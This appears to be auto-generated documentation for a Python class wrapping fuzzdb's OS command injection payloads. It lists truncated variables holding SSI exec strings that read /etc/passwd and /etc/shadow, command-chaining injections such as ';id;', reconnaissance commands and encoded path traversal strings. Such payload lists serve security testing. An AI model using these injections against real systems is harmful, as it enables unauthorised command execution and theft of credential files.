Class os_cmd_execution

This implements the os-command-execution payloads from fuzzdb

Class Variables

[hide private]

command_execution_unix = ['<!--#exec%20cmd="/bin/cat%2...

commands_unix = ['uname -n -s', 'whoami', 'pwd', 'last', 'cat ...

commands_windows = ['ver', 'chdir', 'echo %USERNAME%']

LinuxCommands = ['accept', 'access', 'aclocal', 'aconnect', 'a...

OSXCommands = ['alias', 'alloc', 'apropos', 'awk', 'basename',...

source_disc_cmd_exec_traversal = ['..%255c', '.%5c../..%5c', '...

location = '/data/attack-payloads/os-cmd-execution/WindowsPowe...

WindowsCommands = ['get-acl', 'set-acl', 'get-alias', 'import-...

Class Variable Details

[hide private]

command_execution_unix

Value:

['&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;',
 '&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;',
 '&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;',
 '&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;',
 '/index.html|id|',
 ';id;',
 ';id',
 ';netstat -a;',
...

commands_unix

Value:

['uname -n -s',
 'whoami',
 'pwd',
 'last',
 'cat /etc/passwd',
 'ls -la /tmp',
 'ls -la /home',
 'ping -i 30 127.0.0.1',
...

LinuxCommands

Value:

['accept',
 'access',
 'aclocal',
 'aconnect',
 'acpi',
 'acpi_available',
 'acpid',
 'addr2line',
...

OSXCommands

Value:

['alias',
 'alloc',
 'apropos',
 'awk',
 'basename',
 'bash',
 'bg',
 'bind',
...

source_disc_cmd_exec_traversal

Value:

['..%255c',
 '.%5c../..%5c',
 '/..%c0%9v../',
 '/..%c0%af../',
 '/..%255c..%255c',
 '']

location

Value:

'/data/attack-payloads/os-cmd-execution/WindowsPowershell.fuzz.txt'

WindowsCommands

Value:

['get-acl',
 'set-acl',
 'get-alias',
 'import-alias',
 'new-alias',
 'set-alias',
 'get-authenticodesignature',
 'set-authenticodesignature',
...